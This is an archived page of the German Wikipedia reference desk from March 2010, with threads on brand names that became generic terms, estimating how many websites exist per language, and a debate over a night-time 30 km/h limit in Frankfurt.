„Wikipedia:Auskunft/alt18“ – Versionsunterschied

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:::Du willst ein ausgesprochenes Herdentier allein halten? Was sagt denn das Mufflon dazu? <small>[[Benutzer:BerlinerSchule|BerlinerSchule.</small>]] 00:21, 27. Mär. 2010 (CET)
:::Du willst ein ausgesprochenes Herdentier allein halten? Was sagt denn das Mufflon dazu? <small>[[Benutzer:BerlinerSchule|BerlinerSchule.</small>]] 00:21, 27. Mär. 2010 (CET)
::::Allein soll's nicht bleiben, es werden sich mindestens noch 2 Hausschafe dazugesellen. Die Frage ist nur, wenn denn möglich, tue ich mir Widder oder Schaf ein. Letzteres ist wahrscheinlich verträglicher.--[[Benutzer:KunzSN|KunzSN]] 00:35, 27. Mär. 2010 (CET)
::::Allein soll's nicht bleiben, es werden sich mindestens noch 2 Hausschafe dazugesellen. Die Frage ist nur, wenn denn möglich, tue ich mir Widder oder Schaf ein. Letzteres ist wahrscheinlich verträglicher.--[[Benutzer:KunzSN|KunzSN]] 00:35, 27. Mär. 2010 (CET)
::::PS -Im Grunde geht's mir auch um die Trophäe, dafür bräuchte ich dann schon 'nen Widder.--[[Benutzer:KunzSN|KunzSN]] 00:47, 27. Mär. 2010 (CET)


== Schreibregel ==
== Schreibregel ==

Version vom 27. März 2010, 01:47 Uhr

Wikipedia:Auskunft/alt18/Intro

15. März 2010

Marken die stellvertretend für ein Produkt stehen

Ich denke da an:

Kann man diese Charakteristik unter einem Lemma zusammenfassen, bzw. hat "das" einen Namen? Wie kommt das zu stande, ich kenn nich jede Unternehmensgeschichte, aber meist haben ja diese Firmen auch ein Produkt erst ganz neu etabliert, z.B. Pritt. Kennt jemand weitere Beispiele? Ich freu mich auch über gewinnbringende Anmerkungen, Analogien ... Grüße --WissensDürster 13:19, 15. Mär. 2010 (CET)[Beantworten]

Eponym. --Janneman 13:22, 15. Mär. 2010 (CET)[Beantworten]
Deonym. --Zinnmann d 13:23, 15. Mär. 2010 (CET)[Beantworten]
Hmm, ich dachte eher an Gattungsnamen. Dort wird auch diese Liste verlinkt. --Taxman¿Disk? 13:24, 15. Mär. 2010 (CET)[Beantworten]
Witzig, die gleiche Frage habe ich mir auch gestellt (Pampers für Windel, Maggi für Suppenwürze, Tempo für Papiertaschentuch oder Uhu für den Klebstoff fielen mir da noch spontan ein). --Vexillum 13:24, 15. Mär. 2010 (CET)[Beantworten]
(BK) Weitere: (nicht in der obigen Liste:) Spüli, Flex... Joyborg 13:27, 15. Mär. 2010 (CET)[Beantworten]
Wenn die Liste fertig ist - machst du mir dann ein Xerox davon? G! G.G. nil nisi bene 13:34, 15. Mär. 2010 (CET) Kaffee über die Tastatur! Ein Kleenex, aber schnell!![Beantworten]
es gibt von land zu land unterschiedliches; in Polen etwa adidasy für Sportschuhe ... und irgendwas war es, dass in Brasilien Klebstreifen, in Portugal aber Kondome (das war eine sehr amüsante geschichte einer brasilianerin die in portugal ein Bankpraktium absolvierte :D ...Sicherlich Post 13:38, 15. Mär. 2010 (CET)[Beantworten]
Oh super, da kam ja noch einiges zusammen, und so schnell. Tempo und Uhu hab ich voll vergessen ^.^ das Sprachwissenschaftliche muss ich mir erst noch durchlesen. --WissensDürster 13:51, 15. Mär. 2010 (CET)[Beantworten]
Colt --FK1954 13:59, 15. Mär. 2010 (CET)[Beantworten]
Wie oben beschrieben, steht unter Gattungsname und dort gehört es auch hin. -- NiTen (Discworld) 14:03, 15. Mär. 2010 (CET)[Beantworten]
Zu nennen wären auch noch Flip-Flops. Στε Ψ 14:07, 15. Mär. 2010 (CET)[Beantworten]
Fön--83.135.101.119 14:21, 15. Mär. 2010 (CET)[Beantworten]
Nutella für Schokoschmiere. -- Martin Vogel 14:27, 15. Mär. 2010 (CET)[Beantworten]
In Österreich sagt man TIXO zum Klebeband, Obi zum Apfelsaft, gelegentlich Cappi zum Orangensaft,. --Schaffnerlos 14:50, 15. Mär. 2010 (CET)[Beantworten]

Begriffsmonopol --77.176.201.139 14:55, 15. Mär. 2010 (CET)[Beantworten]

Walkman für tragbaren (Kasetten)spieler. -- 217.6.54.146 15:05, 15. Mär. 2010 (CET)[Beantworten]
Kärchern ist in unserer Gegend sogar ein Verb. --Sr. F 15:08, 15. Mär. 2010 (CET)[Beantworten]
In Frankreich auch ... G! GG nil nisi bene 16:58, 21. Mär. 2010 (CET)[Beantworten]
In Russland auch. PS: Wiki bzw. Wikipedia sind wohl für viele internetferne Personen Synonyme. Wobei die Frage ist, ob nicht hier nicht die Gattung (Wiki) eher den Produktnamen (Wikipedia) am Verdrängen ist, als umgekehrt. Kragenfaul- 15:13, 15. Mär. 2010 (CET)[Beantworten]
Ja, das ist umgekehrt. Wer andere Wikis kennt, wird sie im seltensten Fall "Wikipedia" nennen. --Eike 15:57, 15. Mär. 2010 (CET)[Beantworten]
Eines der ältesten Beispiele (incl. einschlägiger Prozesse) ist - seit 1904 - die "Höhensonne", ein Markenname von Heraeus Hanau, den aber (fast) jeder auch für die diversen Konkurrenzprodukte verwendet. Gruß -- Dr.cueppers - Disk. 16:22, 15. Mär. 2010 (CET)[Beantworten]
Einwecken --FK1954 16:32, 15. Mär. 2010 (CET)[Beantworten]

Hier gibt's eine Auflistung für die englische Sprache. -- Jo Atmon Smokey Jo's Café 17:06, 15. Mär. 2010 (CET)[Beantworten]

den Wenigsten ist bekannt, dass es sich auch bei Inbus, unserem Ikea-Freund, um einen solchen Namen handelt -- Nikolaus 19:28, 15. Mär. 2010 (CET)[Beantworten]
Immer diese Unterstellungen, tststs ;-) --тнояsтеn 22:49, 15. Mär. 2010 (CET)[Beantworten]

Was ich da überall vermisse, ist die Bezeichnung Stollwerck für jeden Karamellbonbon. Wird das heute nicht mehr so benutzt oder war das nur in unserer Familie so Usus? Fragen über Fragen. --PeterFrankfurt 02:14, 16. Mär. 2010 (CET)[Beantworten]

Mir fällt noch Edding für einen wasserunlöslichen Stift ein. -- Hosse Talkshow 17:16, 16. Mär. 2010 (CET)...ääähhh natürlich die Tinte und nicht der Stift :0) -- Hosse Talkshow 17:18, 16. Mär. 2010 (CET)[Beantworten]

Zum Edding möchte ich noch anmerken, dass es einem nicht besonders leicht fallen wird, in unseren(TM) Breiten einen solchen Text marker (ich denke, dass das die korrekte Bezeichnung wäre) zu erwerben, der KEIN Edding wäre. --Dubaut 23:12, 16. Mär. 2010 (CET)[Beantworten]
Die korrekte Bezeichnung ist Permanentmarker. Und zumidnestens in Österreich findet man leicht billigere (und nicht unbedingt schlechtere) Permanentmarker von Noname-Marken, z.B. beim Pagro. --MrBurns 23:19, 16. Mär. 2010 (CET)[Beantworten]
Also in jedem Schreibwarengeschäft gibts die "No-Name" Teile zu Hauf. Auch bei uns im Geschäft, weil bei unserem Verbrauch die "Original-Eddings" zu teuer wären. -- Hosse Talkshow 08:29, 17. Mär. 2010 (CET)[Beantworten]
Ist es ganz korrekt, Synonym hin oder her, – umkehrbar eindeutig – nicht. Wenn du in einer Firma mit nem Permanentmarker auf nem Whiteboard schreibst, wirst du dir dort nicht viele Freunde machen. (Komisch, wieso sage ich das gerade zu dir? *scnr* ;-) Einen „Edding“, den richtigen, einen von denen die immer blassgelaufen oder entschwunden geworden sind, kannst, und sollst, du hingegen kollegialitätsnichtunfördernd (ist das so richtig gebildet?) dort schon verwenden. --Geri 09:02, 19. Mär. 2010 (CET) Nachtrag: Board Marker wollte mir spontan nicht einfallen. --Geri 21:03, 20. Mär. 2010 (CET)[Beantworten]
Es gibt aaber auch Permanentmarker der marke Edding. Ich besitze z.B. einen Edding 500 und der ist mit "permanent marker" beschriftet (siehe auch Datei:Eddingstifte.jpg). Allerdings gibt's mMaterialien, auf denen auch Permanentmarker schnell verblassen, z.B: verwende ich ein 1,5 cm dünnes Plastikrohr vom Baumarkt als Fahnenstange für meine Ultras Rapid Fahne und dort schreibe ich immer meinen Namen mit Permanent Marker drauf, aber trotzdem verblasst der sehr schnell und ich muß die Schrift alle paar Wochen erneuern. --MrBurns 07:57, 24. Mär. 2010 (CET)[Beantworten]

Reinquetsch: Burns, wen interessiert das und wie passt das zur Frage, dass Du einen Edding und eine nicht permanente Fahne hast?--91.56.204.158 08:13, 24. Mär. 2010 (CET)[Beantworten]

Sicher mehr Leute als deine unnötigen kommentare. --MrBurns 08:16, 24. Mär. 2010 (CET)[Beantworten]

Vielleicht noch den Jeep (gabs da nicht mal sogar einen Reklamespruch "ein Jeep von Toyota" oder so?). Oder Rigips ("Ich bin der Rigips-Vertreter von Knauf"). Oft wird bei uns auch jeder Bohrhammer als Boschhammer bezeichnet, solange er nicht von Hilti ist – "die Hilti" ist ein Begriff, den ich bisher fast nur für tatsächlich von Hilti hergestellte Bohrhämmer gehört habe –, und für eine Stampframme gibt es neben Frosch auch die Bezeichnung Wackerstampfer. --Stuby 23:43, 23. Mär. 2010 (CET)[Beantworten]

Wieviel Websites gibt es in jeder Sprache?

Wahrscheinlich ist es unmöglich, diese Frage genau zu beantworten, aber gibt es halbwegs nachvollziehbare Schätzungen, wieviele Websites es in den, sagen wir mal, 50 meistgesprochenen Sprachen der Welt gibt? Oder weiß jemand einen Workaround, wie man das herausbekommen kann, z.B. über eine Suchmaschine? "*" in die erweiterte Suche mit Sprachauswahl eingeben geht ja zumindest bei Google leider wohl nicht, wenn ich das nämlich mache, bekomme ich fast die gleiche Anzahl Treffer für Englisch (25,55 Mrd) als für Deutsch (25,29 Mrd.), was ja sagen wir mal äußerst unwahrscheinlich ist. Danke im Voraus schon mal. --CroMagnon [disk.] 20:52, 15. Mär. 2010 (CET)[Beantworten]

Ein Ansatz ist es, nach den Top-Level Domains zu gehen Klick. Bei den .com Sachen kann man allgemein von Englisch ausgehen, genauso bei .uk. Net und Org sind auch größtenteils englisch. .de, .ch, .at und .li sind wohl größtenteils deutsch.--83.135.77.192 21:09, 15. Mär. 2010 (CET)[Beantworten]
Bei .ch ist nicht wirklich von Deutsch auszugehen; .com, .net und .org werden auch auf Französisch häufig verwendet. --Cú Faoil RM-RH 21:29, 15. Mär. 2010 (CET)[Beantworten]
(BK) Den Domainansatz habe ich mir auch überlegt, aber aus den genannten Gründen wieder verworfen. Im Spanischen beispielsweise ist ebenfalls .com und .org sehr beliebt, schätzungsweise bei allen Sprachen, die nicht auf ein Kernland beschränkt sind und wo Websiteanbieter daher Vorteile daraus ziehen, eine "international" klingende Domain zu verwenden. Als weiteres "vielsprachiges" Land würde mir Indien einfallen. Eventuell kann man den Ansatz mit dem prozentualen Anteil der Sprecher an der Gesamtbevölkerung kombinieren, wobei man Sprachen, die als lingua franca verwendet werden höher gewichten müsste (soweit ich das überblicke ist z.B. in Indien bei Websites Englisch bei weitem am beliebtesten). Hat jemand noch eine andere Idee? --CroMagnon [disk.] 23:22, 15. Mär. 2010 (CET)[Beantworten]
Nur mal so ins Blaue: Wenn ich nach "und oder" (ohne Anführungsstriche) google, hab ich wahrscheinlich einen nicht unbeträchtlichen Teil der deutschsprachigen Seiten erfasst. (Frage: Welche Wörter wären noch besser geeignet? "Ich" würde ich rausnehmen, weil es z. B. auf Firmenwebsites eher selten sein dürfte.) Ergebnis: 235 Millionen. "and or" ergeben 13,6 Milliarden. --Eike 23:17, 15. Mär. 2010 (CET)[Beantworten]
Könnte eine Alternative sein - ist aber aufwändig, wenn man es mit mehreren Sprachen machen will (erst mal "und oder" übersetzen, dann schauen, das es keine Überlappungen gibt). Ich habe jetzt mal eine ähnliche aber leicht andere Methode probiert: In der erweiterten Suche "html" eingeben und dann nach Sprache aufgeschlüsselt. Da komme ich auf Ergebnisse, die sich mit meinen Erwartungen decken: 6,9 Mrd. Englisch, 282 Mio. Spanisch, insgesamt (vereinfacht und traditionell) etwa 300 Mio. Chinesisch, 248 Mio. Deutsch und 190 Mio. Französisch. Das könnte "in etwa" hinhauen. Trotzdem, wer noch eine bessere Idee oder eine schon gemachte Schätzung hat, her damit ;) --CroMagnon [disk.] 23:54, 15. Mär. 2010 (CET)[Beantworten]
Alternativ würde ich vorschlagen, in Google nach .htm* zu suchen, da damit auch die anderen Endungen inbegriffen sind:
  • 12.74 Mrd Englisch
  • 471 Mio Spanisch
  • 546 Mio Französisch
  • 518 Mio Deutsch
etc. Gruss, --Cú Faoil RM-RH 00:59, 16. Mär. 2010 (CET)[Beantworten]
Stimmt, hatte ich auch versucht aber ohne Punkt (und dann kam nichts brauchbares raus). Was jetzt noch interessant wäre: Kann man bei Google die Ergebnisse so einstellen, das pro Domain nur ein Ergebnis angezeigt wird? Bei der normalen Suche werden ja alle Seiten, nicht alle Sites angezeigt - die Googlehilfe ist leider nicht hilfreich. Eventuell nach index.htm* suchen? Vielleicht versuch ichs auch mal mit Bing, Ixquick, Yahoo und AltaVista nochmal. --CroMagnon [disk.] 01:42, 16. Mär. 2010 (CET)[Beantworten]

Die Zahl der Googletreffer (bzw. allgemein der Treffer mit Suchmaschinen) ist aber kein maß für die Zahl der Websites: erstens kann es pro Website mehrere Treffer geben, andererseits ist nicht jede Website von Google indiziert. --MrBurns 02:19, 16. Mär. 2010 (CET)[Beantworten]

PS: Ich denke, dass Suchmaschinen den Anteil der Websites in häufigen Sprachen eher überschätzen, weil die Betreiber denken, dass es sich eher auszahlt, Websites in diesen Sprachen zu indizieren, weil in den häufigeren Sprachen auch mehr gesucht wird. --MrBurns 02:53, 16. Mär. 2010 (CET)[Beantworten]
bei uns in sütirol gibt es viele deutschsprachige Seiten mit den LTDs it, bz, org oder bizz, daneben gibt es auch eu und sogar eine mit edu (http://www.eurac.edu/index_de)--Calzino Fragen? 13:06, 16. Mär. 2010 (CET)[Beantworten]
Da der Anteil der deutschsprachigen Südtiroler bei den Deutsch-Muttersprachlern bei ca. 0,2% liegt, glaub ich nicht, dass die südtiroler Seiten viel an dieser Statistik ändern. --MrBurns 20:02, 16. Mär. 2010 (CET)[Beantworten]
Ich denke, so als Fazit, wäre der vielversprechendste Ansatz beide Methoden zu kombinieren. Also Anzahl der registrierten Domains je Land, dann bei mehrsprachigen Ländern die Zahl aufgeteilt nach prozentualem Anteil der Googletreffer dieses Landes in der jeweiligen Sprache. Also z.B. Schweiz: Zahl der ch-Domains ermitteln, dann in Google.ch bei "Seiten in der Schweiz" die Anteile der jeweiligen Sprachen über eine der oben genannten Methoden ermitteln und dann den jeweiligen Sprachen zuschlagen. Müsste man natürlich über ein Skript zumindest teilautomatisieren, sonst wäre es sehr aufwändig. Mich wundert trotzdem, dass es keine bekannte Studie darüber gibt, und selbst die Zahl der registrierten Domains jeweils ist nicht einfach zu ermitteln, wenn man von den von der Denic publizierten Top 10 absieht. Kennt jemand da eine vollständige Liste?--CroMagnon [disk.] 01:08, 17. Mär. 2010 (CET)[Beantworten]
Also hier findet man wenigstens Zahlen für den Anteil des Englischen am WWW zwischen 65% und 80% und Quellen für 70% und 80%. Wie die Zahlen ermittelt wurden, ist aber weder dort noch in den Quellen zu lesen. --MrBurns 01:56, 17. Mär. 2010 (CET)[Beantworten]
Danke! Damit konnte ich was anfangen, denn wenn man nach dem Text in englishenglish.com googelt, stößt man auf dieses PDF. Dort steht auch, dass die 80 % Englisch / 4,5 % Deutsch usw. aus einer Studie aus dem Jahr 1997 stammen, und das (zumindest ein wenig) neuere Studien nicht mehr ganz so dominante Werte ergeben (um 50-70 %). Der Text selbst ist allerdings wohl auch aus dieser Zeit, aber mit den dort stehenden Daten komme ich hoffentlich weiter. Wobei auch dort nur mit Wasser gekocht, also mit Suchmaschinentreffern gearbeitet wurde. Die index.htm*-Methode muss ich jedenfalls mal ausprobieren.--CroMagnon [disk.] 10:32, 17. Mär. 2010 (CET)[Beantworten]
Bezüglich .htm*: Es lohnt sich auch eine Suche nach anderen Endungen, da ja nicht nur .htm(l) Seiten auf Webservern liegen, sondern auch .php / .asp / .do / .cgi / .pl / ..., wie ja auch beispielsweise WP selbst von PHP generiert wird. Selbst finde ich dies Frage auch interessant: Also bitte unbedingt Ergebnisse mitteilen. Danke --Firefly's luciferase 02:30, 19. Mär. 2010 (CET)[Beantworten]
Ich bleib dran an der Sache. Leider habe ich noch keine neueren Studien gefunden, aber für eine grobe Schätzung sollte die Methode reichen. Im Hintergrund läuft schon mein Skript zur Datensammlung, leider mag Tante Google keine automatisierten Abfragen, aber wenn man's langsam genug anstellt, geht das schon ;) Nur dauert es deshalb etwas länger. Als Vergleichswert werde ich noch Yahoo dazunehmen, das ebenfalls Abfragen nach mehr als 40 Sprachen erlaubt. Eine andere interessante Liste ist noch die Kategorie World beim Open Directory Project, die aber schon auf den ersten Blick eine leicht andere Verteilung ergibt und zudem Englisch nicht enthält (da dies wohl die Standardsprache dort ist).--CroMagnon [disk.] 12:12, 21. Mär. 2010 (CET)[Beantworten]
PS: Gerade gefunden: Hier hat jemand 2003 schon mal mit AltaVista so was ähnliches gemacht, allerdings ohne der Beschränkung auf die index.*-Seiten.--CroMagnon [disk.] 12:21, 21. Mär. 2010 (CET)[Beantworten]
Was mich dort wundert ist, dass z.B. Serbisch mehr als 4x seltener vorkommt als Färöisch. --MrBurns 19:03, 23. Mär. 2010 (CET)[Beantworten]
Stimmt. Im Artikel von Garrand werden auch die Probleme der Methodik beschrieben, Suchmaschinen für diesen Zweck zu nutzen (besonders, weil die Webcrawler je nach den Links, die sie aufrufen, in bestimmten "Sprachgebieten" des Webs aktiver sein können als in anderen, es kann also z.B. sein dass das "serbischsprachige Web" mit dem "englischsprachigen Web" schlechter über Links vernetzt ist). Die wissenschaftlich belastbarste Methode war die der Babel-Studie von 1997, eine ähnliche wurde 2003 mit etwas weniger Dominanz des Englischen wiederholt. Dort wurden nach dem Zufallsprinzip IPs im Web angepingt und, sofern es sich um Server handelte, dann von einem Sprachanalyserogramm die Sprache der Startseite identifiziert. Müsste man mal mit aktuellen Daten wiederholen.--CroMagnon [disk.] 01:54, 24. Mär. 2010 (CET)[Beantworten]

Erste Ergebnisse gibts hier: im Web-Community-Wiki, hier in WP wäre es ja Theoriefindung ;-) Werde das nach und nach erweitern und verbessern. So langesam finde ich auch bessere Ergebnisse für die Sprachmessung: hier werden mehrere Studien verschiedener Methodologien vorgestellt. --CroMagnon [disk.] 19:14, 22. Mär. 2010 (CET)[Beantworten]

Sehr schön. Vielen Dank. Mich hat etwas überrascht, wie sehr Englisch so deutlich dominiert. --Firefly's luciferase 00:04, 27. Mär. 2010 (CET)[Beantworten]

16. März 2010

Tempo 30 in Frankfurt

Ich las eben die Meldung das zukünftig Nachts in F. Stadtweit Tempo 30 gelten soll. Und dieser Antrag liege aus so das man Einspruch erheben kann. Wo liegt der aus? Wer kann Einspruch erheben (Darf ich das) und in welcher Form? --81.200.198.20 15:23, 16. Mär. 2010 (CET)[Beantworten]

Hier findet sich die öffentliche Bekanntmachung und eine Möglichkeit zur elekronischen Stellungnahme. Voraussetzungen sehe ich keine. Die Stellungnahme ist sogar anonym möglich. Bijick Frag mich! 16:12, 16. Mär. 2010 (CET)[Beantworten]
dieselbe bescheuerte Idee wollen die Grünen auch in Dresden umsetzten. Angeblich aus Umweltschutzgründen. Die Weltklimagipfel scheitern,die USA und China dürfen weiterhin tonnenweise CO2 in die Luft pusten, aber ich als dummer Deutscher brauch noch nem hartem Arbeitstag ne halbe Stunde länger um Heim zu kommen. Naja, immerhin rettet das die Erde! Und den Lärmschutz könnte man verbessern in dem man jahrzehnte alte Pflasterstraßen endlich mal neu baut. mfg 95.88.95.30
Den Weg vom Steinbruch nach Hause wirst Du dafür angesichts der Geltungszeit von 22 bis 6 Uhr bei günstigen Verkehrsbedingungen zurücklegen können, die meisten dieser Sesselfurzer sind dann schon zu Hause. Bei einer halben Stunde Zeitverlust durch Senkung der Spitzengeschwindigkeit um 20 km/h auf ausgewählten Hauptverkehrsrouten im Stadtbereich liegt zudem nahe, dass du von einer Optimierung deiner Routenführung massiv profitieren könntest. --77.176.208.245 22:24, 16. Mär. 2010 (CET)[Beantworten]

Folgefrage: In anderen Städten in dem diese Maßnahme durchgeführt wurde ist der Lärmpegel um 0,5 bis 1,7 dbl reduziert worden. Ist das wirklich ein Lärmunterschied den man deutlich hört wenn man für 50 km/h 57Dezibel Lärmbelastung annimmt? (kenne mich tatsächlich nicht uas mit Dezibelangaben) --85.180.188.103 18:11, 16. Mär. 2010 (CET)[Beantworten]

Einen deutlichen Unterschied hört man erst ab ca. 3 dB Unterschied. --MrBurns 18:18, 16. Mär. 2010 (CET)[Beantworten]
PS: hier kann man ausrechenne, wie stark in etwa eine Änderung im Schalldruck wahrgenommen wird ("Pegeländerung Llaut (Psychogröße)" entspricht dabei der Änderung ds Schalldrucks, " Faktor bei Lautstärke (Lautheit)" der wahrgenommenen Änderung). --MrBurns 18:22, 16. Mär. 2010 (CET)[Beantworten]
den Pro7 Nachrichten zufolge, denken diese [ PA entfernt. --Geri 10:17, 19. Mär. 2010 (CET)] in Berlin jetzt sogar darüber nach in allen(!) Ortschaften generell Tempo 30 einzuführen...na da wird sich das Stadtsäckel freuen wenn geblitzt wird....haben die eigentlich nichts anderes im Kopf als sich so [etwas PA entfernt. --Geri 10:17, 19. Mär. 2010 (CET)] auszudenken? allein der Verwaltungskram der dadurch entsteht dürfte nicht unerheblich sein...aber wiegesagt, man kann ja fleißig blitzen...vom Zeitverlust,bei dem für viele Menschen sowohl privat als auch geschäftlich viel abhängt mal ganz abgesehn...vielleicht gibt es dann wieder eine Sonderregelung das geblitzte Politiker nicht bezahlen müssen, warum auch, dafür gibt es ja den Steuerzahler...P.S. immerhin wird dem deutschen Staatsbürger (Steuerzahler) ja auch verboten mit dem eigenen PKW in die Stadt fahren (unnütze Umweltzone), aber die Bonzen fahren die reinsten Spritfresser.... (nicht signierter Beitrag von 95.88.78.38 (Diskussion | Beiträge) 18:53, 17. Mär. 2010 (CET)) [Beantworten]
Meine Rede, die da oben machen doch, was sie wollen. Und wer bezahlt die Zeche? Der kleine Mann, wie immer. Aber mit uns kann man's ja machen. Meine Meinung! --77.177.42.239 23:22, 17. Mär. 2010 (CET)[Beantworten]
Mooooment! Ich bin ja alles Andere als obrigkeitshörig, aber ich bitte, sich mal die Unfallstatistik der Hauptstadt meines Bezirkes nach Einführung von Tempo 30/50 zu Gemüte zu führen (Spitzenreiter in Kürze: 30- mit 50-Kreuzungen: 53(!) % weniger Unfälle mit Personenschaden, also knapp weniger als die Hälfte.) Studien mit ähnlichen Ergebnissen wird es weltweit zuhauf geben. Wenn genau deswegen meine Tochter da nicht dabei war, dann bin ich sehr dankbar dafür. Verhält sich ähnlich wie mit der Gurtenpflicht seinerzeit: Man muss die Leute manchmal (oft?) zu ihrem Glück zwingen. Evtl. „Diktat der Zeit“ zu 'nem anderen Thema auf dieser Seite gelesen?
Gibt es für Verkehrsdelikte von Abgeordneten tatsächlich (schon jetzt) Sonderregelungen? Und wenn nicht, warum sollte es die dann geben?
PS: Gilt eigentlich WP:KPA auch für den Schutz von Nicht-WP-Mitarbeitern? Aus meiner Sicht wohl. --Geri 10:03, 19. Mär. 2010 (CET)[Beantworten]
Sehr seriös kommt mir die Quelle zwar nicht vor. Es wird zwar ein Rückgang von 17% bei den Unfällen mit Personenschaden erwähnt, aber keine absoluten Zahlen, also weiß man nicht, ob der Unterschied schon signifikant ist (Ok, vielleicht steht das ind er vollständigen Studie, aber der Link dorthin funktioniert nicht mehr). Außerdem wird für die Reaktionszeit ein unrealistisch hoher Wert von 2s angenommen, normalerweise ist die Reaktionszeit im Berecih 0,2s-1s (je anhc Alter, Aufmerksamkeit, Tagesverfassung,...). Kurz gesagt macht die Studie einen Eindruck, dass sie so durchgeführt wurde, dass sie das Ergebnis liefert, das der auftraggebenden Partei, die ja dafür bekannt ist, für niedrige Tempolimits zu sein, ins politische Programm passt. --MrBurns 02:48, 22. Mär. 2010 (CET)[Beantworten]

.. okay...Tempo 30 verringert also die Anzahl der Verkehrsunfälle (Verletzte/Tote)... versteh mich jetzt nicht falsch, aber wäre es dann nicht besser die Leute gleich zu ihrem "ultimativen Glück" zu zwingen und den Straßenverkehr ganz zu verbieten? Wir können uns ja wieder mit Pferd und Kutsche vorwärts bewegen (auch da kann es allerdings Tote und Verletzte geben)... oder noch besser, den Menschen das verlassen ihrer Wohnung verbieten (aber auch da gibt es Unfälle). Was ich damit sagen will ist, das Unfälle (so schlimm sie für die betroffenen auch sind) sich nicht vermeiden lassen... Irgendwann ist auch Tempo 30 noch zu schnell und was dann? Wenn ich als Vertreter (nur als Bsp) jetzt am Tag nicht mehr 10 Kunden erreiche, sondern nur noch 6, weil ich mich mit 20 km/h weniger vorwärts bewege, wird sich mein Chef aber freuen. Einer niederländischen Studie zu Folge werde Autofahrer in solchen Situationen (unnötig (!) langsamer fahren als erforderlich) schnell gestreßt und aggressiv...hab ich selbst auf den Straßen schon oft genug erleben müssen... freu mich schon darauf, das es bald zum Standard werden könnte... P.S.:Und wenn diese [ PA entfernt. --Geri 17:25, 20. Mär. 2010 (CET) ] (Politiker) erzählen, wir die Bevölkerung müssen mit unserem Fahrverhalten die Umwelt schonen, aber selber mit dem Flieger in Urlaub fliegen und den Dienstwagen hinterherfahren lassen, ganz ehrlich: [ PA entfernt. --Geri 17:25, 20. Mär. 2010 (CET) ]. 95.88.94.28 20:54, 19. Mär. 2010 (CET)[Beantworten]

Zuallererst: wenn ich von dir, oder jemand Anderem, einen Beitrag mit ähnlichen Äußerungen mal zeitnah bemerke, verspreche ich, dich bzw. den oder die höchstpersönlich auf WP:VM zu setzen. Das Internet ist kein rechtsfreier Raum und Beleidigung und Aufruf zu schweren Straftaten sind potentiell ahndungswürdig.
Inhaltlich möchte ich mich nicht weiter auseinandersetzen, da mir deine Ansichten doch etwas naiv, vielleicht auch etwas polemisch erscheinen. Verweisen möchte ich dich dazu auf Kompromiss. Liebe Grüße. --Geri 17:25, 20. Mär. 2010 (CET)[Beantworten]
PS: Stehen irgendwo gerade Wahlen an, weil einige hier über „die da oben“ so herziehen? Fangen jetzt gar schon politische Gegner an die Reichweite von viralem Marketing via WP zu erkennen und zu nutzen? --Geri 17:25, 20. Mär. 2010 (CET)[Beantworten]
Also ich stimme der IP inhaltlich zu. Um Autofahren wirklich fast völlig unegefährlich zu machen, müsste man jede Geschwindigkeit höher als Schritttempo verbieten. Und selbst dann wär's nur fast völlig ungefährlich, man kann noch immer einen Abhang runterfahren oder am Steuer einschlafen und dann im Schrittempo einen überrollen, der im Vollrausch vor das Auto gestürzt ist. Außerdem ist die Zahl der Unfälle mit Schwerverletzten oder Toten im Stadtverkehr ohnehin relativ gering, ich hab mal eine Statistik gesehen, dass es die mit Abstanbd meisten Verkehrstoten auf Landstraßen gibt. Im Stadtverkehr gibt's zwar die meisten Unfälle, aber der Löwenanteil davon ist nur mit Blechschaden. --MrBurns 02:55, 22. Mär. 2010 (CET)[Beantworten]
Ja, dass du offensichtlich Schwierigkeiten beim richtigen Einschätzen von Geschwindigkeiten hast, ist ja hier schon länger bekannt. Und, jetzt mal off-getopiced, ich beginne meine bisherige Meinung, nach der du ziemlich intelligent zu sein scheinst, – zu meinem Leidwesen – schön langsam und immer mehr zu revidieren. Schöne Grüße ins benachbarte Wien. --Geri 15:13, 22. Mär. 2010 (CET)[Beantworten]
Meine Geschwindigkeiten beim Skifahren kann ich eigentlcih sehr gut einschätzen, weil ich sie mal gemessen hab auf einer Strecke mit geschwindigkieitsmessung. Aber hier geht's um die Geschwindigkeiten beim Autofahren udn die braucht man nicht einschätzen zu können, da man ja einen Tachometer im Auto hat. --MrBurns 18:49, 23. Mär. 2010 (CET)[Beantworten]
mit der Landstraße ist natürlich auch ein gutes Argument...@Geri:warum greifst du MrBurns deswegen so an? Inhaltlich hat er doch recht,oder nicht? Wenn man da (Landstraße) mit Tempo 100 gegen den Baum fährt, nützt auch Tempo 30 in der Stadt nix mehr. Sicherlich ist vor bestimmten Stellen (Kindergärten,Schulen etc) nix gegen eine Reduzierung des Tempos zu sagen, aber auf mehrspurigen Hauptstraßen mitten im Industriegebiet,wo ausser Erwachsenen Arbeitern, niemand rumläuft wäre sowas absoluter Schwachsinn. Und auch Nachts dürften nicht allzuviele Kinder unterwegs sein die man mit dem Auto bei Tempo 50 verletzen könnte.Und dann auf evtl doch "freigegebenen" Strecken wieder Tempo 50 Schilder hinzustellen, ist für den Schilderwald auf den Straßen bestimmt auch ganz gut. Irgendwie ist es erstaunlich das die Deutschen sich alles gefallen lassen, egal um was es geht. Bei den Franzosen, Italiener oder Griechen gäbe es (bei was auch immer) schon längst Proteste, nur der Deutsche kuscht. P.S. irgendwie hab ich im Hinterkopf das man z.Bsp. auf Pflasterstraßen (speziell auf nassen) einen längeren Bremsweg hat, da stellt sich mir die Frage warum selbst über 20 Jahre alte Pflasterstraßen nicht mal erneuert werden? (ja das liebe Geld ist daran schuld,oder?...anstatt das Geld in immer neue Diätenerhöhungen zu stecken, könnte man damit auch mal die Straßen sanieren und damit sicherer machen) mfg 95.88.78.10 19:51, 22. Mär. 2010 (CET)[Beantworten]
Genau so ist es. In kleinen wenig befahrenen Nebenstraßen in Wohngebieten hat Tempo 30 durchaus seine Berechtigung, aber nicht auf allen Straßen in der Stadt. z.B. in meinem Bezirk ist das ganz gut geregelt: da gilt überall außer auf den Hauptstraßen Tempo 30, bei den Einfahrten in die Nebenstraßen sind überall Schilder mit "Zone 30" angebracht (und bei den Ausfahrten ist's dann halt das durchgestrichenen "Zone 30" schild). So eine Regelung ist aber auch nur in bezirken nötig, wo die nebenstraßen alle relativ schmal und (in dem Fall dank parkender Autos) unübersichtlich sind. --MrBurns 18:52, 23. Mär. 2010 (CET)[Beantworten]

20. März 2010

(Vermutliches) CPU Überhitzungsproblem

